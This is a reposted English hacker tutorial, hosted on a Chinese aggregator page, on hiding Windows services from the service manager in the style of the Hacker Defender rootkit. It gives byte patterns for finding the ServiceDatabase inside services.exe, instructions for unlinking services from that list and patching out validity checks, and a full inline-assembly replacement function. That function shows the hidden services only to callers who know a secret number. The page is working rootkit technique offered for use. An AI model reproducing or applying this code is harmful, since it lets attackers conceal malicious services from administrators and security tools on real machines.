分享
 
 
 

hooking the service manger with hacker defender

王朝other·作者佚名  2006-04-22
窄屏简体版  字體: |||超大  

hooking the service manger with hacker defender

********************************

Intro

The idea of this method for hiding windows services directly from within

the service manager came to me after I coded a hidden services detector

and I realized that is was really easy to trick many user-mode rootkit...

So I started to search for infos about the service manager, and I found a

really good paper (and I found nothing else, ever) explaining very few thing,

but the article put me on the right track. So I started to reverse the service

manager and I found an interesting structure (name it the ServiceDatabase)

containing all services running on a computer. I knew that it was this

structure that I will have to patch. The first problem I had was to find

these structure with no hardcoded addresses on all NT-based OS. This problem

was really easy to solve, a simple search for a pattern of byte (one for XP

and one for win2k) did the thing. Then another problem: it is easy to remove

a services from the ServiceDatabase but what happen if we want to stop or remove

this service ? We can't control it anymore, it's just like if the service has

never existed.

I had two choices. First, make a new set of functions to mimic the service

manager do to be able to control the hidden services. But this would imply

that no standard command like net start/net stop would ever work, and that

sucks. The second possibility is to find a way to tell to the service manager

that the request for controling a hidden service is authorized. The second

sounds better.

********************************

The client-side services display:

To let the service manager know that we have the right to display the

hidden services, we will have call EnumServicesStatus with a dwServiceState

parameter to wich you will add a number (we'll call it dwNumber, heh)

We will then check, on the server-side, if the dwServiceState parameter

equal dwNumber+SERVICE_ACTIVE, dwNumber+SERVICE_INACTIVE or

dwNumber+SERVICE_STATE_ALL. If it is, we'll substract dwNumber to get

the real dwServiceState.

You may have noticed that you will need a home-made program to display the

hidden services to wich you will be able to supply the correct dwNumber

********************************

The server-side hooking:

The hooking process will be this :

1. locate all needed pieces of code, to be sure we're doing the good thing

2. change the linking order of the ServiceDatabase to hide our services

3. place hooks at some strategic points

-------

1. Locate needed information

-------

We will first need to locate some information about where we will install

our hooks, and this before doing any modification in the memory of

services.exe just to don't crash the whole thing. We will basicly search

for the ServiceDatabase and then search for the hooking points, I will

give more details in the two next sections

-------

2. Modify the ServiceDatabse

-------

The ServiceDatabase is a double-linked list that contain informations

about all services running on a computer. It is located in the memory

of services.exe (duh) and it is built at boot time based on keys

in HKLM\SYSTEM\CurrentControlSet\Services. Just after building the

database, services.exe start all service with their Startup Type set to

Automatic. This is why a rootkit can be detected even if it hide keys

from the registry; a clean copy of the HKLM\[...]\Services key exist

somewhere in the memory of services.exe :)

The ServiceDatabase is relatively easy to find, depending on the version

of services.exe. ImageVersion refers to the field of the same name in

the PE header. The search base is the 'base of code' address (usually

01001000h) plus the size of the 'import address table' (usually ~400h

bytes) wich can also be found in the PE header. Please note that I am

debugging services.exe on my XP box, and addresses and size may differ

on win2k.

If ImageVersion = 5.1 or 5.2 (WinXP, Win2k3) :

Search in the first 200h bytes for the sequence of byte 56 8B 35

(56 = PUSH ESI, 8B 35 xx xx xx xx = MOV ESI, DWORD PTR DS:[ServiceDatabase])

If ImageVersion = 5.0 (Win2k) :

Search in the first 4000h bytes for 73 45 72 76 (sErv) (will be found after

~2C00h bytes). Then search in the next 200h bytes for 8B 0D xx xx xx xx

(MOV ECX, DWORD PTR DS:[ServiceDatabase])

At this point, we are ready to patch the ServiceDatabase and remove our

hidden services. In the next example we want to hide the service B and D.

This is basicly what we will do :

* Flink = Forward link, point to the next structure

* Blink = Backwad link, point to the previous structure

-> The original service chain

ServiceDatabase pointer

|

`-> _____ Flink _____ _____ _____ _____ _____

| svc | -----> | svc | -----> | svc | -----> | svc | -----> | svc | -----> | svc |

| A | <----- | B | <----- | C | <----- | D | <----- | E | <----- | ... |

|_____| Blink |_____| |_____| |_____| |_____| |_____|

-> We will unlink the svc B by linking the service A and C together

ServiceDatabase pointer

| .--------------. .--------------.

| | .----------. | | .----------. |

`-> _____ | | _____ | | _____ | | _____ | | _____ _____

| svc | --` | | svc | | `--> | svc | --` | | svc | | `--> | svc | -----> | svc |

| A | <---` | B | `----- | C | <---` | D | `----- | E | <----- | ... |

|_____| |_____| |_____| |_____| |_____| |_____|

-> Then we will link the service D to the service B and the service B to

the start of the list

ServiceDatabase pointer

| .--------------. .--------------.

| | .----------. | | .----------. |

`-> _____ | | _____ | | _____ | | _____ | | _____ _____

Flink | svc | --` | | svc | | `--> | svc | --` | | svc | | `--> | svc | -----> | svc |

.---> | A | <---` | B | `----- | C | <---` | D | `----- | E | <----- | ... |

| |_____| |_____| |_____| |_____| |_____| |_____|

| | ^ | ^ |

| | | `-------------------------` |

`----------------------` `-----------------------------`

This new linking is the whole thing in the hooking process. If this is

done correctly, at least the services are hidden from any request for

enumerating services and for opening a services with OpenService().

Then what if we want to display these hidden services ? We will simply

put a hook at a strategic point (see the next section) and if the program

trying to enumerate the services is authorized to do so, we won't start the

enumeration from the service pointed by ServiceDatabase, but (in the example)

from the service D in our case. **NOTE** that there is no Backward link from

the service B to the servide A, in order to don't be able to see the hidden

services by listing the list in the reverse order...

-------

3. Hooking the code

-------

We'll start by searching for the sequence of bytes C0 FE FF FF in the first 6000h bytes

the lines on wich we will end up will look like this:

TEST DWORD PTR SS:[EBP+C],FFFFFEC0

JNZ SHORT error_87

TEST BYTE PTR SS:[EBP+10],3 <------- check for the validity of dwServiceState

JE SHORT error_87 <------- we will backup the address pointed by this jump

TEST DWORD PTR SS:[EBP+10],FFFFFFFC for our own usage in our hooked function

JNZ SHORT error_87

To don't get trashed when we will supply our invalid dwServiceState, we

will NOP the four last lines and check the validity by ourself later with

our hooked function. To find where we'll place this hook, we'll search

in the next 100 bytes for 85 C0 wich correspond to :

LEA EAX,DWORD PTR SS:[EBP+8]

PUSH EAX

PUSH DWORD PTR SS:[EBP-C]

CALL GetEntryPointerFromIndex <------ here we hook !

TEST EAX,EAX <------ 85 C0

JE not_found

then you just have to replace the GetEntryPointerFromIndex CALL for

our own home-made function. What is the original function doing ? It

find where to start the copying process from the memory of services.exe

to the user-supplied buffer, according to the ResumeHandle parameter

passed to EnumServicesStatus. What will the replacement function do ?

Lets see :

First we'll have to check if the dwServiceState come from a 'typical' call

to EnumServicesStatus. If it is, (will be between 1 and 3; see declaration

of SERVICE_[ACTIVE/INACTIVE/STATE_ALL]) we will mimic the original

GetEntryPointerFromIndex function and do nothing more. If the dwServiceState

parameter is equal to dwNumber + 1, + 2 or + 3 then we'll know that it's a

request for showing hidden services, and we'll start to do the job of

GetEntryPointerFromIndex but we'll do it from the base of our hidden services

list. If dwServiceState does not correspond to any of these two case, we'll

return the error 87 (remember the dwServiceState validity check we've nopped)

okey then we have a plan of action, have a look at the hooking code I made.

the original function definition looks like this :

BOOL GetEntryPointerFromIndex (int index, LPDWORD entry);

When we will have our function called instead of the original one, the stack

will look like this :

ebp+10h = the dwServiceState parameter passed to EnumServicesStatus

esp+8h = the ResumeHandle parameter passed to EnumServicesStatus

wich is actually the index in the ServiceDatabase table

esp+Ch = the buffer in wich we will copy the address of the correct entry

First of all we'll backup the address of ebp+10h to be able to replace

the dwServiceState if the need is. Then we'll check if the dwServiceState

is invalid or not, and choose what we must do.

Below is a fully working function, I think it can be better but it do the job

See the code sample and you will understand everything ;)

//the CALL we replace must point 16 bytes after the real function address

//before copying the function inside services.exe, you must fill the four

//dword that the function need to work:

//dwNumber = the same number that you will provide to EnumServicesStatus

// to display the hidden services

//dwHiddenStart = the address of the first service in the hidden service chain

//dwSvDb = address of ServiceDatabase

//dwError87 = the absolute address of the jump we nopped (see above)

BOOL __declspec(naked) NewGetEntryPointerFromIndex(int index, LPDWORD entry) {

__asm {

dwNumber:

_emit 0 //;room for a copy of dwNumber

_emit 0

_emit 0

_emit 0

dwHiddenStart:

_emit 0 //;room for the address of the hidden services chain

_emit 0

_emit 0

_emit 0

dwSvDb:

_emit 0 //;room for a copy of the ServiceDatabase

_emit 0

_emit 0

_emit 0

dwError87:

_emit 0 //;room for the address of the error 87 code

_emit 0

_emit 0

_emit 0

call start

start:

pop edx //; pop the address of where we are

sub edx, 16+5

pop esi //; pop the ret address

lea eax, [ebp+010h] //; copy the address of the dwServiceState parameter

push ebp

mov ebp, esp

sub esp, 008h

/*

-008 DWROD ret address

-004 LPDWORD dwServiceState

+004 int index

+008 LPDWORD entry

*/

mov [ebp-004h], eax

mov [ebp-008h], esi

//; check if we got all we need

cmp dword ptr [edx], 0 //;dwNumber

jz display_normal

cmp dword ptr [edx+4], 0 //;dwHiddenStart

jz display_normal

cmp dword ptr [edx+8], 0 //;dwSvDb

jz bad_ret

cmp dword ptr [edx+12], 0 //;dwError87

jz bad_ret

//; check the dwServiceState

mov esi, [ebp-004h]

mov esi, [esi]

//; is it a request for hidden svc ?

mov eax, dword ptr [edx] //;dwNumber

lea eax, [eax+1]

cmp esi, eax

jz display_hidden

mov eax, dword ptr [edx] //;dwNumber

lea eax, [eax+2]

cmp esi, eax

jz display_hidden

mov eax, dword ptr [edx] //;dwNumber

lea eax, [eax+3]

cmp esi, eax

jz display_hidden

//; is it an invalid request ?

mov esi, [ebp-004h]

test byte ptr [esi],3

je go_original_err87

test dword ptr [esi], 0FFFFFFFCh

jnz go_original_err87

//; heh, just another normal request I guess

jmp display_normal

//; process the request

display_hidden:

mov esi, [ebp-004h]

mov eax, dword ptr [edx] //;dwNumber

sub [esi], eax //;substract dwNumber to dwServiceState

lea eax, dword ptr [edx+4] //;dwHiddenStart

jmp display_tail

display_normal:

mov eax, dword ptr [edx+8] //;dwSvDb

//mov eax, [eax]

//jmp display_tail

display_tail:

mov eax, [eax]

loop_next_svc_entry:

test eax, eax

jz short bad_ret //; got the end of the chain ?

mov ecx, [eax+010h] //; index field

cmp ecx, [ebp+004h] //; needed index

ja short got_ptr

mov eax, [eax+004h] //; take the next entry

jmp short loop_next_svc_entry

got_ptr:

mov ecx, [ebp+008h]

mov [ecx], eax

good_ret:

mov eax, 001h

jmp go_ret

bad_ret:

xor eax, eax

go_ret:

mov esi, [ebp-008h]

leave

add esp, 008h //;ret 008

jmp esi

go_original_err87:

leave //;free the stack

mov eax, dword ptr [edx+12] //;dwError87

add esp, 008h //;ret 008

jmp eax

}

}

}

// EOF

I think I said everything, now you can look at the sources I included :)

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有